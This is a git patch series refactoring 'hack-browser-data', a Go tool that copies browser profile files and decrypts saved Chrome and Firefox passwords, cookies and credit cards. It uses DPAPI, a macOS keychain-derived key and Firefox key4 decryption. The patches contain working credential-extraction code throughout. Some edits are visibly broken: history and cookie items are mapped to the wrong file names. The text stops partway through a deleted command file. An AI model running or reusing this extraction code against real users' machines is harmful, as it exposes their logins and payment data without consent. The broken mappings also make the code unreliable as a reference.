diff --git a/internal/browingdata/download.go b/internal/browingdata/download.go
index aec3d58..f421be6 100644
--- a/internal/browingdata/download.go
+++ b/internal/browingdata/download.go
@@ -6,19 +6,17 @@ import (
"sort"
"strings"
- "github.com/tidwall/gjson"
-
- "hack-browser-data/internal/browser/item"
-
+ "hack-browser-data/internal/item"
"hack-browser-data/internal/utils"
_ "github.com/mattn/go-sqlite3"
+ "github.com/tidwall/gjson"
)
type ChromiumDownload []download
func (c *ChromiumDownload) Parse(masterKey []byte) error {
- historyDB, err := sql.Open("sqlite3", item.ChromiumDownloadFilename)
+ historyDB, err := sql.Open("sqlite3", item.TempChromiumDownload)
if err != nil {
return err
}
@@ -64,7 +62,7 @@ func (f *FirefoxDownload) Parse(masterKey []byte) error {
keyDB *sql.DB
downloadRows *sql.Rows
)
- keyDB, err = sql.Open("sqlite3", item.FirefoxDownloadFilename)
+ keyDB, err = sql.Open("sqlite3", item.TempFirefoxDownload)
if err != nil {
return err
}
diff --git a/internal/browingdata/history.go b/internal/browingdata/history.go
index ee6d64e..5c96309 100644
--- a/internal/browingdata/history.go
+++ b/internal/browingdata/history.go
@@ -5,17 +5,16 @@ import (
"fmt"
"sort"
- "hack-browser-data/internal/browser/item"
-
- "hack-browser-data/internal/utils"
-
_ "github.com/mattn/go-sqlite3"
+
+ "hack-browser-data/internal/item"
+ "hack-browser-data/internal/utils"
)
type ChromiumHistory []history
func (c *ChromiumHistory) Parse(masterKey []byte) error {
- historyDB, err := sql.Open("sqlite3", item.ChromiumHistoryFilename)
+ historyDB, err := sql.Open("sqlite3", item.TempChromiumHistory)
if err != nil {
return err
}
@@ -61,7 +60,7 @@ func (f *FirefoxHistory) Parse(masterKey []byte) error {
keyDB *sql.DB
historyRows *sql.Rows
)
- keyDB, err = sql.Open("sqlite3", item.FirefoxHistoryFilename)
+ keyDB, err = sql.Open("sqlite3", item.TempFirefoxHistory)
if err != nil {
return err
}
diff --git a/internal/browingdata/password.go b/internal/browingdata/password.go
index b9cc717..8fc017a 100644
--- a/internal/browingdata/password.go
+++ b/internal/browingdata/password.go
@@ -9,13 +9,12 @@ import (
"sort"
"time"
- "hack-browser-data/internal/browser/item"
-
- decrypter2 "hack-browser-data/internal/decrypter"
- "hack-browser-data/internal/utils"
-
_ "github.com/mattn/go-sqlite3"
"github.com/tidwall/gjson"
+
+ "hack-browser-data/internal/decrypter"
+ "hack-browser-data/internal/item"
+ "hack-browser-data/internal/utils"
)
type ChromiumPassword []loginData
@@ -48,12 +47,12 @@ func (c *ChromiumPassword) Parse(masterKey []byte) error {
}
if len(pwd) > 0 {
if masterKey == nil {
- password, err = decrypter2.DPApi(pwd)
+ password, err = decrypter.DPApi(pwd)
if err != nil {
fmt.Println(err)
}
} else {
- password, err = decrypter2.ChromePass(masterKey, pwd)
+ password, err = decrypter.ChromePass(masterKey, pwd)
if err != nil {
fmt.Println(err)
}
@@ -81,11 +80,11 @@ func (c *ChromiumPassword) Name() string {
type FirefoxPassword []loginData
func (f *FirefoxPassword) Parse(masterKey []byte) error {
- globalSalt, metaBytes, nssA11, nssA102, err := getFirefoxDecryptKey(item.FirefoxKey4Filename)
+ globalSalt, metaBytes, nssA11, nssA102, err := getFirefoxDecryptKey(item.TempFirefoxKey4)
if err != nil {
return err
}
- metaPBE, err := decrypter2.NewASN1PBE(metaBytes)
+ metaPBE, err := decrypter.NewASN1PBE(metaBytes)
if err != nil {
return err
}
@@ -98,7 +97,7 @@ func (f *FirefoxPassword) Parse(masterKey []byte) error {
if bytes.Contains(k, []byte("password-check")) {
m := bytes.Compare(nssA102, keyLin)
if m == 0 {
- nssPBE, err := decrypter2.NewASN1PBE(nssA11)
+ nssPBE, err := decrypter.NewASN1PBE(nssA11)
if err != nil {
return err
}
@@ -107,16 +106,16 @@ func (f *FirefoxPassword) Parse(masterKey []byte) error {
if err != nil {
return err
}
- allLogin, err := getFirefoxLoginData(item.FirefoxPasswordFilename)
+ allLogin, err := getFirefoxLoginData(item.TempFirefoxPassword)
if err != nil {
return err
}
for _, v := range allLogin {
- userPBE, err := decrypter2.NewASN1PBE(v.encryptUser)
+ userPBE, err := decrypter.NewASN1PBE(v.encryptUser)
if err != nil {
return err
}
- pwdPBE, err := decrypter2.NewASN1PBE(v.encryptPass)
+ pwdPBE, err := decrypter.NewASN1PBE(v.encryptPass)
if err != nil {
return err
}
@@ -130,8 +129,8 @@ func (f *FirefoxPassword) Parse(masterKey []byte) error {
}
*f = append(*f, loginData{
LoginUrl: v.LoginUrl,
- UserName: string(decrypter2.PKCS5UnPadding(user)),
- Password: string(decrypter2.PKCS5UnPadding(pwd)),
+ UserName: string(decrypter.PKCS5UnPadding(user)),
+ Password: string(decrypter.PKCS5UnPadding(pwd)),
CreateDate: v.CreateDate,
})
}
diff --git a/internal/browser/browser.go b/internal/browser/browser.go
index baff2fc..aa115c0 100644
--- a/internal/browser/browser.go
+++ b/internal/browser/browser.go
@@ -13,16 +13,9 @@ type Browser interface {
GetMasterKey() ([]byte, error)
- GetBrowsingData() []browingdata.Source
-
- CopyItemFileToLocal() error
+ GetBrowsingData() (*browingdata.Data, error)
}
-var (
- // home dir path for all platforms
- homeDir, _ = os.UserHomeDir()
-)
-
func PickBrowser(name string) []Browser {
var browsers []Browser
clist := pickChromium(name)
@@ -45,7 +38,7 @@ func pickChromium(name string) []Browser {
name = strings.ToLower(name)
if name == "all" {
for _, c := range chromiumList {
- if b, err := chromium.New(c.name, c.profilePath, c.storage, c.items); err == nil {
+ if b, err := chromium.New(c.name, c.storage, c.profilePath, c.items); err == nil {
browsers = append(browsers, b)
} else {
if strings.Contains(err.Error(), "profile path is not exist") {
@@ -56,8 +49,8 @@ func pickChromium(name string) []Browser {
}
return browsers
}
- if choice, ok := chromiumList[name]; ok {
- b, err := newChromium(choice.browserInfo, choice.items)
+ if c, ok := chromiumList[name]; ok {
+ b, err := chromium.New(c.name, c.storage, c.profilePath, c.items)
if err != nil {
panic(err)
}
@@ -71,15 +64,15 @@ func pickFirefox(name string) []Browser {
var browsers []Browser
name = strings.ToLower(name)
if name == "all" || name == "firefox" {
- for _, f := range firefoxList {
- multiFirefox, err := newMultiFirefox(f.browserInfo, f.items)
- if err != nil {
- panic(err)
- }
- for _, browser := range multiFirefox {
- browsers = append(browsers, browser)
- }
- }
+ // for _, f := range firefoxList {
+ // multiFirefox, err := firefox(f.browserInfo, f.items)
+ // if err != nil {
+ // panic(err)
+ // }
+ // for _, browser := range multiFirefox {
+ // browsers = append(browsers, browser)
+ // }
+ // }
return browsers
}
return nil
@@ -96,9 +89,10 @@ func ListBrowser() []string {
return l
}
-type browserInfo struct {
- masterKey []byte
-}
+var (
+ // home dir path for all platforms
+ homeDir, _ = os.UserHomeDir()
+)
const (
chromeName = "Chrome"
diff --git a/internal/browser/browser_test.go b/internal/browser/browser_test.go
index 4fbab5d..f261abd 100644
--- a/internal/browser/browser_test.go
+++ b/internal/browser/browser_test.go
@@ -4,53 +4,71 @@ import (
"fmt"
"testing"
- "hack-browser-data/internal/log"
+ "hack-browser-data/internal/browser/chromium"
+ "hack-browser-data/internal/item"
"hack-browser-data/internal/outputter"
)
func TestPickChromium(t *testing.T) {
- browsers := pickChromium("chrome")
- log.InitLog("debug")
- filetype := "json"
- dir := "result"
- output := outputter.NewOutPutter(filetype)
- if err := output.MakeDir("result"); err != nil {
- panic(err)
- }
- for _, b := range browsers {
- fmt.Printf("%+v\n", b)
- if err := b.CopyItemFileToLocal(); err != nil {
- panic(err)
- }
- masterKey, err := b.GetMasterKey()
- if err != nil {
- fmt.Println(err)
- }
- browserName := b.GetName()
- multiData := b.GetBrowsingData()
- for _, data := range multiData {
- if err := data.Parse(masterKey); err != nil {
- fmt.Println(err)
- }
- filename := fmt.Sprintf("%s_%s.%s", browserName, data.Name(), filetype)
- file, err := output.CreateFile(dir, filename)
- if err != nil {
- panic(err)
- }
- if err := output.Write(data, file); err != nil {
- panic(err)
- }
- }
- }
+ // browsers := pickChromium("chrome")
+ // log.InitLog("debug")
+ // filetype := "json"
+ // // dir := "result"
+ // output := outputter.NewOutPutter(filetype)
+ // _ = output
+ // for _, b := range browsers {
+ // fmt.Printf("%+v\n", b)
+ // if err := b.CopyItemFileToLocal(); err != nil {
+ // panic(err)
+ // }
+ // _, err := b.GetMasterKey()
+ // if err != nil {
+ // fmt.Println(err)
+ // }
+ // // browserName := b.GetName()
+ // data, err := b.GetBrowsingData()
+ // fmt.Println(data)
+ // // for _, data := range multiData {
+ // // if err := data.Parse(masterKey); err != nil {
+ // // fmt.Println(err)
+ // // }
+ // // filename := fmt.Sprintf("%s_%s.%s", browserName, data.Name(), filetype)
+ // // file, err := output.CreateFile(dir, filename)
+ // // if err != nil {
+ // // panic(err)
+ // // }
+ // // if err := output.Write(data, file); err != nil {
+ // // panic(err)
+ // // }
+ // // }
+ // }
}
func TestGetChromiumItemAbsPath(t *testing.T) {
p := `/Library/Application Support/Google/Chrome/`
- s, err := getChromiumItemPath(p, defaultChromiumItems)
+ p = homeDir + p
+ c, err := chromium.New("chrome", "Chrome", p, item.DefaultChromium)
if err != nil {
- panic(err)
+ t.Error(err)
+ }
+ data, err := c.GetBrowsingData()
+ if err != nil {
+ t.Error(err)
+ }
+ output := outputter.NewOutPutter("json")
+
+ if err != nil {
+ t.Error(err)
+ }
+ for _, v := range data.Sources {
+ f, err := output.CreateFile("result", v.Name()+".json")
+ if err != nil {
+ panic(err)
+ }
+ if err := output.Write(v, f); err != nil {
+ panic(err)
+ }
}
- fmt.Println(s)
}
func TestPickBrowsers(t *testing.T) {
@@ -63,37 +81,37 @@ func TestPickBrowsers(t *testing.T) {
// output := outputter.NewOutPutter(filetype)
}
-func TestPickFirefox(t *testing.T) {
- browsers := pickFirefox("all")
- filetype := "json"
- dir := "result"
- output := outputter.NewOutPutter(filetype)
- if err := output.MakeDir("result"); err != nil {
- panic(err)
- }
- for _, b := range browsers {
- fmt.Printf("%+v\n", b)
- if err := b.CopyItemFileToLocal(); err != nil {
- panic(err)
- }
- masterKey, err := b.GetMasterKey()
- if err != nil {
- fmt.Println(err)
- }
- browserName := b.GetName()
- multiData := b.GetBrowsingData()
- for _, data := range multiData {
- if err := data.Parse(masterKey); err != nil {
- fmt.Println(err)
- }
- filename := fmt.Sprintf("%s_%s.%s", browserName, data.Name(), filetype)
- file, err := output.CreateFile(dir, filename)
- if err != nil {
- panic(err)
- }
- if err := output.Write(data, file); err != nil {
- panic(err)
- }
- }
- }
-}
+// func TestPickFirefox(t *testing.T) {
+// browsers := pickFirefox("all")
+// filetype := "json"
+// dir := "result"
+// output := outputter.NewOutPutter(filetype)
+// if err := output.MakeDir("result"); err != nil {
+// panic(err)
+// }
+// for _, b := range browsers {
+// fmt.Printf("%+v\n", b)
+// if err := b.CopyItemFileToLocal(); err != nil {
+// panic(err)
+// }
+// masterKey, err := b.GetMasterKey()
+// if err != nil {
+// fmt.Println(err)
+// }
+// browserName := b.GetName()
+// multiData := b.GetBrowsingData()
+// for _, data := range multiData {
+// if err := data.Parse(masterKey); err != nil {
+// fmt.Println(err)
+// }
+// filename := fmt.Sprintf("%s_%s.%s", browserName, data.Name(), filetype)
+// file, err := output.CreateFile(dir, filename)
+// if err != nil {
+// panic(err)
+// }
+// if err := output.Write(data, file); err != nil {
+// panic(err)
+// }
+// }
+// }
+// }
diff --git a/internal/browser/chromium/chromium.go b/internal/browser/chromium/chromium.go
index 1fceacf..05a46e9 100644
--- a/internal/browser/chromium/chromium.go
+++ b/internal/browser/chromium/chromium.go
@@ -22,65 +22,65 @@ type chromium struct {
itemPaths map[item.Item]string
}
-// New creates a new instance of chromium browser, fill item's path if item is exist.
+// New create instance of chromium browser, fill item's path if item is existed.
func New(name, storage, profilePath string, items []item.Item) (*chromium, error) {
-
+ c := &chromium{
+ name: name,
+ storage: storage,
+ }
// TODO: Handle file path is not exist
if !fileutil.FolderExists(profilePath) {
return nil, fmt.Errorf("%s profile path is not exist: %s", name, profilePath)
}
- itemsPaths, err := getChromiumItemPath(profilePath, items)
+ masterKey, err := c.GetMasterKey()
if err != nil {
return nil, err
}
-
- c := &chromium{
- name: name,
- storage: storage,
- profilePath: profilePath,
- items: typeutil.Keys(itemsPaths),
- itemPaths: itemsPaths,
+ itemsPaths, err := c.getItemPath(profilePath, items)
+ if err != nil {
+ return nil, err
}
- // new browsing data
+ c.masterKey = masterKey
+ c.profilePath = profilePath
+ c.itemPaths = itemsPaths
+ c.items = typeutil.Keys(itemsPaths)
return c, err
}
+func (c *chromium) GetItems() []item.Item {
+ return c.items
+}
+
+func (c *chromium) GetItemPaths() map[item.Item]string {
+ return c.itemPaths
+}
+
func (c *chromium) GetName() string {
return c.name
}
-func (c *chromium) GetBrowsingData() []browingdata.Source {
- var browsingData []browingdata.Source
- data := browingdata.New(c.items)
- for item := range c.itemPaths {
- d := item.NewBrowsingData()
- if d != nil {
- browsingData = append(browsingData, d)
- }
+func (c *chromium) GetBrowsingData() (*browingdata.Data, error) {
+ b := browingdata.New(c.items)
+
+ if err := c.copyItemToLocal(); err != nil {
+ return nil, err
}
- return browsingData
+ if err := b.Recovery(c.masterKey); err != nil {
+ return nil, err
+ }
+ return b, nil
}
-func (c *chromium) CopyItemFileToLocal() error {
- for item, sourcePath := range c.itemPaths {
- var dstFilename = item.TempName()
- locals, _ := filepath.Glob("*")
- for _, v := range locals {
- if v == dstFilename {
- err := os.Remove(dstFilename)
- // TODO: Should Continue all iteration error
- if err != nil {
- return err
- }
- }
- }
-
+func (c *chromium) copyItemToLocal() error {
+ for i, path := range c.itemPaths {
+ // var dstFilename = item.TempName()
+ var filename = i.String()
// TODO: Handle read file error
- sourceFile, err := ioutil.ReadFile(sourcePath)
+ d, err := ioutil.ReadFile(path)
if err != nil {
fmt.Println(err.Error())
}
- err = ioutil.WriteFile(dstFilename, sourceFile, 0777)
+ err = ioutil.WriteFile(filename, d, 0777)
if err != nil {
return err
}
@@ -88,7 +88,7 @@ func (c *chromium) CopyItemFileToLocal() error {
return nil
}
-func getChromiumItemPath(profilePath string, items []item.Item) (map[item.Item]string, error) {
+func (c *chromium) getItemPath(profilePath string, items []item.Item) (map[item.Item]string, error) {
var itemPaths = make(map[item.Item]string)
err := filepath.Walk(profilePath, chromiumWalkFunc(items, itemPaths))
return itemPaths, err
@@ -102,7 +102,7 @@ func chromiumWalkFunc(items []item.Item, itemPaths map[item.Item]string) filepat
if it == item.ChromiumKey {
itemPaths[it] = path
}
- // TODO: Handle file path is not in Default folder
+ // TODO: check file path is not in Default folder
if strings.Contains(path, "Default") {
itemPaths[it] = path
}
diff --git a/internal/browser/chromium/chromium_darwin.go b/internal/browser/chromium/chromium_darwin.go
index cb39885..72cb485 100644
--- a/internal/browser/chromium/chromium_darwin.go
+++ b/internal/browser/chromium/chromium_darwin.go
@@ -29,17 +29,16 @@ func (c *chromium) GetMasterKey() ([]byte, error) {
if stderr.Len() > 0 {
return nil, errors.New(stderr.String())
}
- temp := stdout.Bytes()
- chromeSecret := temp[:len(temp)-1]
+ chromeSecret := bytes.TrimSpace(stdout.Bytes())
if chromeSecret == nil {
return nil, ErrWrongSecurityCommand
}
var chromeSalt = []byte("saltysalt")
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New)
- if key != nil {
- c.browserInfo.masterKey = key
- return key, nil
+ if key == nil {
+ return nil, ErrWrongSecurityCommand
}
- return nil, errors.New("macOS wrong security command")
+ c.masterKey = key
+ return key, nil
}
diff --git a/internal/browser/chromium/chromium_windows.go b/internal/browser/chromium/chromium_windows.go
index 3301b63..02ad75d 100644
--- a/internal/browser/chromium/chromium_windows.go
+++ b/internal/browser/chromium/chromium_windows.go
@@ -4,8 +4,11 @@ import (
"encoding/base64"
"errors"
- "github.com/smallstep/cli/utils"
"github.com/tidwall/gjson"
+
+ "hack-browser-data/internal/decrypter"
+ "hack-browser-data/internal/item"
+ "hack-browser-data/internal/utils/fileutil"
)
var (
@@ -13,7 +16,7 @@ var (
)
func (c *chromium) GetMasterKey() ([]byte, error) {
- keyFile, err := utils.ReadFile(item.TempChromiumKey)
+ keyFile, err := fileutil.ReadFile(item.TempChromiumKey)
if err != nil {
return nil, err
}
@@ -23,8 +26,8 @@ func (c *chromium) GetMasterKey() ([]byte, error) {
if err != nil {
return nil, errDecodeMasterKeyFailed
}
- c.browserInfo.masterKey, err = decrypter.DPApi(pureKey[5:])
- return c.browserInfo.masterKey, err
+ c.masterKey, err = decrypter.DPApi(pureKey[5:])
+ return c.masterKey, err
}
return nil, nil
}
diff --git a/internal/browser/firefox/firefox.go b/internal/browser/firefox/firefox.go
index 6bba6e2..7345c06 100644
--- a/internal/browser/firefox/firefox.go
+++ b/internal/browser/firefox/firefox.go
@@ -1,129 +1,116 @@
package firefox
-import (
- "fmt"
- "io/fs"
- "io/ioutil"
- "os"
- "path"
- "path/filepath"
- "strings"
-
- "hack-browser-data/internal/browingdata"
- "hack-browser-data/internal/item"
-)
-
-type firefox struct {
- name string
- storage string
- profilePath string
- masterKey []byte
- items []item.Item
- itemPaths map[item.Item]string
- multiItemPaths map[string]map[item.Item]string
-}
-
-// New
-func New(info *browserInfo, items []item.Item) ([]*firefox, error) {
- f := &firefox{
- browserInfo: info,
- items: items,
- }
- multiItemPaths, err := getFirefoxItemAbsPath(f.browserInfo.profilePath, f.items)
- if err != nil {
- if strings.Contains(err.Error(), "profile path is not exist") {
- fmt.Println(err)
- return nil, nil
- }
- panic(err)
- }
- var firefoxList []*firefox
- for name, value := range multiItemPaths {
- firefoxList = append(firefoxList, &firefox{
- browserInfo: &browserInfo{
- name: name,
- masterKey: nil,
- },
- items: items,
- itemPaths: value,
- })
- }
- return firefoxList, nil
-}
-
-func getFirefoxItemAbsPath(profilePath string, items []item.Item) (map[string]map[item.Item]string, error) {
- var multiItemPaths = make(map[string]map[item.Item]string)
- absProfilePath := path.Join(homeDir, filepath.Clean(profilePath))
- // TODO: Handle read file error
- if !isFileExist(absProfilePath) {
- return nil, fmt.Errorf("%s profile path is not exist", absProfilePath)
- }
- err := filepath.Walk(absProfilePath, firefoxWalkFunc(items, multiItemPaths))
- return multiItemPaths, err
-}
-
-func (f *firefox) CopyItemFileToLocal() error {
- for item, sourcePath := range f.itemPaths {
- var dstFilename = item.TempName()
- locals, _ := filepath.Glob("*")
- for _, v := range locals {
- if v == dstFilename {
- err := os.Remove(dstFilename)
- // TODO: Should Continue all iteration error
- if err != nil {
- return err
- }
- }
- }
-
- // TODO: Handle read file name error
- sourceFile, err := ioutil.ReadFile(sourcePath)
- if err != nil {
- fmt.Println(err.Error())
- }
- err = ioutil.WriteFile(dstFilename, sourceFile, 0777)
- if err != nil {
- return err
- }
- }
- return nil
-}
-
-func firefoxWalkFunc(items []item.Item, multiItemPaths map[string]map[item.Item]string) filepath.WalkFunc {
- return func(path string, info fs.FileInfo, err error) error {
- for _, v := range items {
- if info.Name() == v.FileName() {
- parentDir := getParentDir(path)
- if _, exist := multiItemPaths[parentDir]; exist {
- multiItemPaths[parentDir][v] = path
- } else {
- multiItemPaths[parentDir] = map[item.Item]string{v: path}
- }
- }
- }
- return err
- }
-}
-
-func getParentDir(absPath string) string {
- return filepath.Base(filepath.Dir(absPath))
-}
-
-func (f *firefox) GetMasterKey() ([]byte, error) {
- return f.masterKey, nil
-}
-
-func (f *firefox) GetName() string {
- return f.name
-}
-
-func (f *firefox) GetBrowsingData() []browingdata.Source {
- var browsingData []browingdata.Source
- for item := range f.itemPaths {
- d := item.NewBrowsingData()
- if d != nil {
- browsingData = append(browsingData, d)
- }
- }
- return browsingData
-}
+// type firefox struct {
+// name string
+// storage string
+// profilePath string
+// masterKey []byte
+// items []item.Item
+// itemPaths map[item.Item]string
+// multiItemPaths map[string]map[item.Item]string
+// }
+//
+// // New
+// func New(info *browserInfo, items []item.Item) ([]*firefox, error) {
+// f := &firefox{
+// browserInfo: info,
+// items: items,
+// }
+// multiItemPaths, err := getFirefoxItemAbsPath(f.browserInfo.profilePath, f.items)
+// if err != nil {
+// if strings.Contains(err.Error(), "profile path is not exist") {
+// fmt.Println(err)
+// return nil, nil
+// }
+// panic(err)
+// }
+// var firefoxList []*firefox
+// for name, value := range multiItemPaths {
+// firefoxList = append(firefoxList, &firefox{
+// browserInfo: &browserInfo{
+// name: name,
+// masterKey: nil,
+// },
+// items: items,
+// itemPaths: value,
+// })
+// }
+// return firefoxList, nil
+// }
+//
+// func getFirefoxItemAbsPath(profilePath string, items []item.Item) (map[string]map[item.Item]string, error) {
+// var multiItemPaths = make(map[string]map[item.Item]string)
+// absProfilePath := path.Join(homeDir, filepath.Clean(profilePath))
+// // TODO: Handle read file error
+// if !isFileExist(absProfilePath) {
+// return nil, fmt.Errorf("%s profile path is not exist", absProfilePath)
+// }
+// err := filepath.Walk(absProfilePath, firefoxWalkFunc(items, multiItemPaths))
+// return multiItemPaths, err
+// }
+//
+// func (f *firefox) CopyItemFileToLocal() error {
+// for item, sourcePath := range f.itemPaths {
+// var dstFilename = item.TempName()
+// locals, _ := filepath.Glob("*")
+// for _, v := range locals {
+// if v == dstFilename {
+// err := os.Remove(dstFilename)
+// // TODO: Should Continue all iteration error
+// if err != nil {
+// return err
+// }
+// }
+// }
+//
+// // TODO: Handle read file name error
+// sourceFile, err := ioutil.ReadFile(sourcePath)
+// if err != nil {
+// fmt.Println(err.Error())
+// }
+// err = ioutil.WriteFile(dstFilename, sourceFile, 0777)
+// if err != nil {
+// return err
+// }
+// }
+// return nil
+// }
+//
+// func firefoxWalkFunc(items []item.Item, multiItemPaths map[string]map[item.Item]string) filepath.WalkFunc {
+// return func(path string, info fs.FileInfo, err error) error {
+// for _, v := range items {
+// if info.Name() == v.FileName() {
+// parentDir := getParentDir(path)
+// if _, exist := multiItemPaths[parentDir]; exist {
+// multiItemPaths[parentDir][v] = path
+// } else {
+// multiItemPaths[parentDir] = map[item.Item]string{v: path}
+// }
+// }
+// }
+// return err
+// }
+// }
+//
+// func getParentDir(absPath string) string {
+// return filepath.Base(filepath.Dir(absPath))
+// }
+//
+// func (f *firefox) GetMasterKey() ([]byte, error) {
+// return f.masterKey, nil
+// }
+//
+// func (f *firefox) GetName() string {
+// return f.name
+// }
+//
+// func (f *firefox) GetBrowsingData() []browingdata.Source {
+// var browsingData []browingdata.Source
+// for item := range f.itemPaths {
+// d := item.NewBrowsingData()
+// if d != nil {
+// browsingData = append(browsingData, d)
+// }
+// }
+// return browsingData
+// }
diff --git a/internal/item/filename.go b/internal/item/filename.go
index 15741d3..e8868e6 100644
--- a/internal/item/filename.go
+++ b/internal/item/filename.go
@@ -24,3 +24,28 @@ const (
UnknownItem = "unknown item"
UnsupportedItem = "unsupported item"
)
+
+const (
+ TempChromiumKey = "chromiumKey"
+ TempChromiumPassword = "password"
+ TempChromiumCookie = "cookie"
+ TempChromiumBookmark = "bookmark"
+ TempChromiumHistory = "history"
+ TempChromiumDownload = "download"
+ TempChromiumCreditCard = "creditCard"
+ TempChromiumLocalStorage = "localStorage"
+ TempChromiumExtension = "extension"
+
+ TempYandexPassword = "yandexPassword"
+ TempYandexCreditCard = "yandexCreditCard"
+
+ TempFirefoxKey4 = "firefoxKey4"
+ TempFirefoxPassword = "firefoxPassword"
+ TempFirefoxCookie = "firefoxCookie"
+ TempFirefoxBookmark = "firefoxBookmark"
+ TempFirefoxHistory = "firefoxHistory"
+ TempFirefoxDownload = "firefoxDownload"
+ TempFirefoxCreditCard = ""
+ TempFirefoxLocalStorage = ""
+ TempFirefoxExtension = ""
+)
diff --git a/internal/item/item.go b/internal/item/item.go
index fc9e71f..0db919b 100644
--- a/internal/item/item.go
+++ b/internal/item/item.go
@@ -1,45 +1,5 @@
package item
-import (
- data2 "hack-browser-data/internal/browingdata"
-)
-
-var DefaultFirefox = []Item{
- FirefoxKey4,
- FirefoxPassword,
- FirefoxCookie,
- FirefoxBookmark,
- FirefoxHistory,
- FirefoxDownload,
- FirefoxCreditCard,
- FirefoxLocalStorage,
- FirefoxExtension,
-}
-
-var DefaultYandex = []Item{
- ChromiumKey,
- ChromiumCookie,
- ChromiumBookmark,
- ChromiumHistory,
- ChromiumDownload,
- ChromiumLocalStorage,
- ChromiumExtension,
- YandexPassword,
- YandexCreditCard,
-}
-
-var DefaultChromium = []Item{
- ChromiumKey,
- ChromiumPassword,
- ChromiumCookie,
- ChromiumBookmark,
- ChromiumHistory,
- ChromiumDownload,
- ChromiumCreditCard,
- ChromiumLocalStorage,
- ChromiumExtension,
-}
-
type Item int
const (
@@ -117,39 +77,39 @@ func (i Item) FileName() string {
func (i Item) String() string {
switch i {
case ChromiumKey:
- return "chromiumKey"
+ return TempChromiumKey
case ChromiumPassword:
- return "password"
+ return TempChromiumPassword
case ChromiumCookie:
- return "cookie"
+ return TempChromiumCookie
case ChromiumBookmark:
- return "bookmark"
+ return TempChromiumBookmark
case ChromiumDownload:
- return "download"
+ return TempChromiumDownload
case ChromiumLocalStorage:
- return "localStorage"
+ return TempChromiumLocalStorage
case ChromiumCreditCard:
- return "creditCard"
+ return TempChromiumCreditCard
case ChromiumExtension:
return UnsupportedItem
case ChromiumHistory:
- return "history"
+ return TempChromiumExtension
case YandexPassword:
- return "yandexPassword"
+ return TempYandexPassword
case YandexCreditCard:
- return "yandexCreditCard"
+ return TempYandexCreditCard
case FirefoxKey4:
- return "firefoxKey4"
+ return TempFirefoxKey4
case FirefoxPassword:
- return "firefoxPassword"
+ return TempFirefoxPassword
case FirefoxCookie:
- return "firefoxCookie"
+ return TempFirefoxPassword
case FirefoxBookmark:
- return "firefoxBookmark"
+ return TempFirefoxBookmark
case FirefoxDownload:
- return "firefoxDownload"
+ return TempFirefoxDownload
case FirefoxHistory:
- return "firefoxHistory"
+ return TempFirefoxHistory
case FirefoxLocalStorage:
return UnsupportedItem
case FirefoxCreditCard:
@@ -161,43 +121,38 @@ func (i Item) String() string {
}
}
-// NewBrowsingData returns a new Source instance.
-// TODO: remove this function
-func (i Item) NewBrowsingData() data2.Source {
- switch i {
- case ChromiumKey:
- return nil
- case ChromiumPassword:
- return &data2.ChromiumPassword{}
- case ChromiumCookie:
- return &data2.ChromiumCookie{}
- case ChromiumBookmark:
- return &data2.ChromiumBookmark{}
- case ChromiumDownload:
- return &data2.ChromiumDownload{}
- case ChromiumLocalStorage:
- return nil
- case ChromiumCreditCard:
- return &data2.ChromiumCreditCard{}
- case ChromiumExtension:
- return nil
- case ChromiumHistory:
- return &data2.ChromiumHistory{}
- case YandexPassword:
- return &data2.ChromiumPassword{}
- case YandexCreditCard:
- return &data2.ChromiumCreditCard{}
- case FirefoxPassword:
- return &data2.FirefoxPassword{}
- case FirefoxCookie:
- return &data2.FirefoxCookie{}
- case FirefoxBookmark:
- return &data2.FirefoxBookmark{}
- case FirefoxDownload:
- return &data2.FirefoxDownload{}
- case FirefoxHistory:
- return &data2.FirefoxHistory{}
- default:
- return nil
- }
+var DefaultFirefox = []Item{
+ FirefoxKey4,
+ FirefoxPassword,
+ FirefoxCookie,
+ FirefoxBookmark,
+ FirefoxHistory,
+ FirefoxDownload,
+ FirefoxCreditCard,
+ FirefoxLocalStorage,
+ FirefoxExtension,
+}
+
+var DefaultYandex = []Item{
+ ChromiumKey,
+ ChromiumCookie,
+ ChromiumBookmark,
+ ChromiumHistory,
+ ChromiumDownload,
+ ChromiumLocalStorage,
+ ChromiumExtension,
+ YandexPassword,
+ YandexCreditCard,
+}
+
+var DefaultChromium = []Item{
+ ChromiumKey,
+ ChromiumPassword,
+ ChromiumCookie,
+ ChromiumBookmark,
+ ChromiumHistory,
+ ChromiumDownload,
+ ChromiumCreditCard,
+ ChromiumLocalStorage,
+ ChromiumExtension,
}
diff --git a/internal/utils/typeutil/typeutil.go b/internal/utils/typeutil/typeutil.go
index 9512822..2402bb6 100644
--- a/internal/utils/typeutil/typeutil.go
+++ b/internal/utils/typeutil/typeutil.go
@@ -7,4 +7,4 @@ func Keys[K comparable, V any](m map[K]V) []K {
r = append(r, k)
}
return r
-}
\ No newline at end of file
+}
From dc06b1d69b31c31c87bcadecec33e558a9d56519 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?=
Date: Mon, 11 Apr 2022 19:57:40 +0800
Subject: [PATCH 18/33] feat: add copy file to local
---
cmd/cmd.go | 183 -------------------
internal/browingdata/creditcard.go | 2 +
internal/browingdata/download.go | 4 +
internal/browingdata/history.go | 2 +
internal/browingdata/password.go | 2 +
internal/browser/browser.go | 23 ++-
internal/browser/browser_darwin.go | 2 +
internal/browser/browser_linux.go | 2 +
internal/browser/browser_test.go | 43 +----
internal/browser/browser_windows.go | 2 +
internal/browser/chromium/chromium.go | 22 +--
internal/browser/chromium/chromium_darwin.go | 14 +-
internal/browser/firefox/firefox.go | 2 +-
internal/item/item.go | 2 +-
internal/outputter/outputter.go | 2 +-
internal/outputter/outputter_test.go | 4 +-
internal/utils/fileutil/filetutil.go | 21 +++
main.go | 9 -
18 files changed, 83 insertions(+), 258 deletions(-)
delete mode 100644 cmd/cmd.go
delete mode 100644 main.go
diff --git a/cmd/cmd.go b/cmd/cmd.go
deleted file mode 100644
index 62aec3f..0000000
--- a/cmd/cmd.go
+++ /dev/null
@@ -1,183 +0,0 @@
-package cmd
-
-import (
- "fmt"
- "os"
- "strings"
-
- "github.com/urfave/cli/v2"
-
- "hack-browser-data/internal/browser"
- "hack-browser-data/internal/log"
- "hack-browser-data/internal/outputter"
-)
-
-var (
- browserName string
- exportDir string
- outputFormat string
- verbose bool
- compress bool
- customProfilePath string
-)
-
